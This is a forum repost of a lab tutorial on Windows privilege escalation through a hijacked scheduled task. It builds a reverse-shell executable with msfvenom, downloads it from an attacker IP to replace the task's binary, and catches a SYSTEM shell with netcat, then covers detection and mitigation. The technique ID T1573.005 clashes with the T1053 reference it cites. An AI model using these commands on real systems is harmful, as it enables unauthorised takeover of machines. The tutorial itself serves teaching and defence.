• We just launched and are currently in beta. Join us as we build and grow the community.

Windows Privilege Escalation: Scheduled Task/Job (T1573.005)

koelkast32

Token Distribution Expert
K Rep
0
0
0
Rep
0
K Vouches
0
0
0
Vouches
0
Posts
146
Likes
68
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 400 XP
An attacker may exploit the Windows Task Scheduler to schedule malicious programmes for initial or recurrent execution. For persistence purposes, an attacker may utilise Windows Task Scheduler to launch applications at system startup or on a scheduled basis. Additionally, the Windows Task Scheduler may be utilised to execute remote code to run a process under the context of a specified account for Privilege Escalation.

Table of Content
  • Task Scheduler
  • Misconfigured Scheduled Task/Job
  • Prerequisite
  • Lab Setup
  • Abusing Schedule Task/Job
  • Detection
  • Mitigation

Task Scheduler

An automatic job can be scheduled using the Task Scheduler service. When you use this service, you may set up any programme to run at a date and time that works best for you. Task Scheduler checks the time or event criteria you specify and then runs the task when those conditions are fulfilled.

Misconfigured Scheduled Task/Job

An attacker can perform execution, persistence or privilege escalation by abusing any script, program, or service that is running automatically through the task scheduler.

Mitre ID: T1573.005
Tactics: Execution, Persistence, Privilege Escalation


Platforms: Windows

Prerequisite

Target Machine: Windows 10

Attacker Machine: Kali Linux

Condition: Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.

Objective: Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Scheduled Task/Job.

Lab Setup

Run Task Scheduler from inside the program menu.

AVvXsEgxUywLx2gzclFBxNP_jXyyS_YtmjoZd5LNegYBUrQ6r4X8IDWTXNIIdz-HEKto3iQbyKhWEKo-2SwEK_sazOQZiz2JgFhFHnE-I_XX4gotg3TPgmASltdjyP3-OQDxL5nOWvsWVA__Xqu_unO1d6fAiNSGdHawmLmm_6lEeH7c7IfZHLy3EBRASQPozA=s16000


Step1: Explore the Task Schedule Library to create a new Task.

AVvXsEhQc0m6u1F5M7QkYjPF7BXDPET3Bb8uh_WOby-rslOXgmwcNiYu1LccfFtm42Z4qAcUTVnDhvjvGmiUN6SEjNoZBqIOfSQwp0fdspT-Fo2HOlEsXuDjEfgMxXFOiZDPYk-tA7omUO5AdiCC9YYAsNp89dY5MmkJF991QzRNUKIN804ylSqN-_FcjAjU3g=s16000


Step2: Assign a task for the logged user to be executed as the highest privileges.

AVvXsEib-YK_eRoB0sFr8WEDYkld9p5nF0EoZlZiy138KjnW0kM7VH0NWQy-7jMkln4r5LiDX1Hi2F_6YvX0qIfwjGF0ToWpGQiofqDJYoCg-dfy2VNOd8SPxBs8rem30pEQpttmcsPyPGt0IpVgrW-mE5uWPjOGnOyruxZVZajL_IaHnQ9didGDvtqbcDSS2Q=s16000


Step3: Choose the Trigger option to initiate a scheduled task/job.

AVvXsEh0tL_DYbBaS39v93cJqiMNX8nzmMkIN0PE0pFA0ExT12zAvawxzKZJJyUHaOdp3sSSmP1XFe2avn47Ubf4czMvWah_5sQeF1J1cKYzf0LnP_YeJmpDCTpsZBp75uV_Ngf4qObUxVmqi3R4WQrUYJ9TFZkYWDKNEe4xOLg2lATPQNVZK2Oo9EFJi1Z6Nw=s16000


Step4: Here we have scheduled the task for recurrence occurrence.

AVvXsEjN4BPJD_dKWKJ6vZFhpehMMuHbt7tOFNtrBNqLp4PHsFenOkSOF7i0bUfIQtEgj6C_a5vlmb6F9AldZZqq6vNRt9l2kueN47OQqrCL5S143OWSeNY7gKTFwwuw-vTxPXapwD-CKg2skEejKv8Zz2WQpSFyppGNx4m2ixgpec4-jMBDRUxwTapCVCR1TA=s16000


Step5: When you create a task, you must specify the action that will occur when your task starts.

AVvXsEgDUoBs1uUV_hYlZ8rhGjpwrDc6_wdnRCHZbUZLgfuwDQ9fuCEnvG8hihz1ieg-gebNIpllVAdJgi9tqg-2Wn6IhkewQTXeUsB87TfJtTb51BsXfiotNmC_GaTdNNS0F4dwOF0Dp_pABbBxiAGV5v1oMcl7wRJktib5zaMzVHW8mkODq_9gYDVlwuNtSw=s16000


Step6: Specify the type of action to be performed by a scheduled task. For example schedule backup of a system through some executable program.

AVvXsEh_CUQuqJ4Zsf4_uil5ebSSft66t-OJaARe8p25ijOJSrLDGDXVxdCKnX-QfFK6pWINvl2g5R44WE61fAKU2b7XtZyIKToKHGRAwz7DEEuzQ-9TNQHP-IFF9lgTsFXMU4IQFuaLjrv9NiyVSB9BDp4IiAOvLhTWNPQTKB7BCqepxq4hhKaklD1KZh-czg=s16000


Step7: Thus schedule tasks will be triggered every day at a specific time for taking backup or schedule job to define as action.

Abusing Schedule Task/Job

Step8: An attacker can escalate privileges by exploiting Schedule Task/Job. Following an initial foothold, we can query to obtain the list for the scheduled task.

schtasks /query /fo LIST /V

AVvXsEh4l0o6UsTbiD6fgvE0msxlCwjUdW8rcaa6nuKj3zh0qwu0cXbpRQrHb7dS552Ul7kXcT0-zJpM5qjClMmvToNU8m3pGkAamxwnTR2_xjjUL_ZOhxHd7PLBBq-rrDlnDlT6IFNgXRahrXLmAegDtEnbTge1tdDHblHb3LPOLXiEASxf0yJHK-ZDZZPY1g=s16000


This helps an attack to understand which application is attached to execute Job at what time.

AVvXsEilpAqXwurSvH28WVNn-OU7Mg2yY2OznrUZD6chS6EKZFxuu8BR3RHMQ4_4ZGsNpdVAgTUFn81axc82E5NGXF_o2YAJaD0BaVaxH_XHkSPEEF0MTCl19d5fHlGl85EcJ2RygF1SGOwFrkaDvhrxf6LQrNOKCJSMIohjgQ_Xf2xQ001H5M-IZNLZbwdTdA=s16000


To get a reverse shell as NT Authority SYSTEM, let’s create a malicious exe file that could be executed through a scheduled task. Using Msfvenom we have created an exe file that was injected into the target system.

Code:
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe

AVvXsEic3OJTpSPuLdvMs19--Ki0lv6r7eU5qIroSl5bvkpbD7iYHv3Cpl2G9bR1kuYZA0AoDpJTb37EhQB1L_DR0Q0NB3uAeq0924ScDPDsZHhuK00zmfOEUvLWiTmsP_1j6kcLZLR7s2UFGQ8Q9wIQtNK72383PvIsBdr29dDJn67u19PAAFdHL6SrC6DEdA=s16000


To abuse the scheduled Task, the attacker will either modify the application by overwriting it or may replace the original file from the duplicate. To insert a duplicate file in the same directory, we rename the original file as a file.bak.

AVvXsEgI3Pw7-kDCEcfiokyRvOecEHfGA4W2wDKOj8Xrf6qmr8ttUgnTsT7i7X3qZWBxge75cAohrvbOZnh0b4dP7S79FUEHlq9gU8cirx3OihhlZxLASLl_v1qfPATEyfiMml7-FcrQ_mxLYVbUAnBJtoLnC-Y7cq5vAFOl2_hzkX_UpzPpH50E5wW7nkgHRw=s16000


Then downloaded malicious file.exe in the same directory with the help of wget command.

Code:
powershell wget 192.168.1.3/shell.exe –o file.exe

AVvXsEh0BK0h0d_U8F-kx7Gve1ECDlX5vxVzlWtilRcvu8rJFwWtjyC_0ZPaB7rEFvS2Mxhs86LstdrjDsa9xvI6BGCVqCb0y_w-4Y4O9My1i0bhzM41ZJOO05BGUhDWAnVcOoIzu_uhNOTVYOsqMxYz5J3UqnzBP7V-PUbZiEtRpM4dzl_Ymq5dOBv_fnZR0Q=s16000


Once the duplicate file.exe is injected in the same directory then, the file.exe will be executed automatically through Task Scheduler. As attackers make sure that netcat listener must be at listening mode for obtaining reverse connection for privilege shell.

Code:
nc -lvp 8888
whoami /priv

AVvXsEizTEbNW-IMvsRjh_4bKOcb9VPrFJ6ioD-C_KV2rUdY13HQ5gEmqGL8-2GbQfPJ-InxiKOQqBlF80y6kL0as7HlUkhJPD_FHDAazlI_ON6YbbJhfBJMjj9sC9JO_Ys-NZWrx6rSjxACprB5kBeEAaHpNc_7RxoH1GrDqujAAskSMHU-ZVggYC4XDGaxXA=s16000


Detection
  • Tools such as Sysinternals Autoruns can detect system changes like showing presently scheduled jobs.
  • Tools like TCPView & Process Explore may help to identify remote connections for suspicious services or processes.
  • View Task Properties and History: To view a task’s properties and history by using a command line

Schtasks /Query /FO LIST /V

  • Enable the “Microsoft-Windows-TaskScheduler/Operational” configuration inside the event logging service to report scheduled task creation and updates.

Mitigation

AVvXsEiGYqhbAYA9lXbxME-m6uccDRnzmKtaeYorPVTMc_Xg321Bu4WONGfU1FKBr0szE-EQYfYBSkYstQ7Ze_HqTbzcizyU3vrpwRerbiTI6XqOVEi4xKe52HYpkYRKScNYnshCuqIW2z7KxAtAjDsPVQ3GbYqrQ-TaRVbEMKDnRKOiwB-O6dTNR50wSoZbGw=s16000


  • Perform an audit scan to find out week or misconfiguration with the help of automated script using tools such as WinPeas, SharpUp, etc. Read more from here “Window Privilege Escalation: Automated Script”.
  • Make sure the scheduled task should not be run as SYSTEM.

Configure scheduled tasks to execute as the authenticated account instead of SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl.

The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled

Reference:

https://attack.mitre.org/techniques/T1053/002/

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
 

452,292

323,341

323,350

Top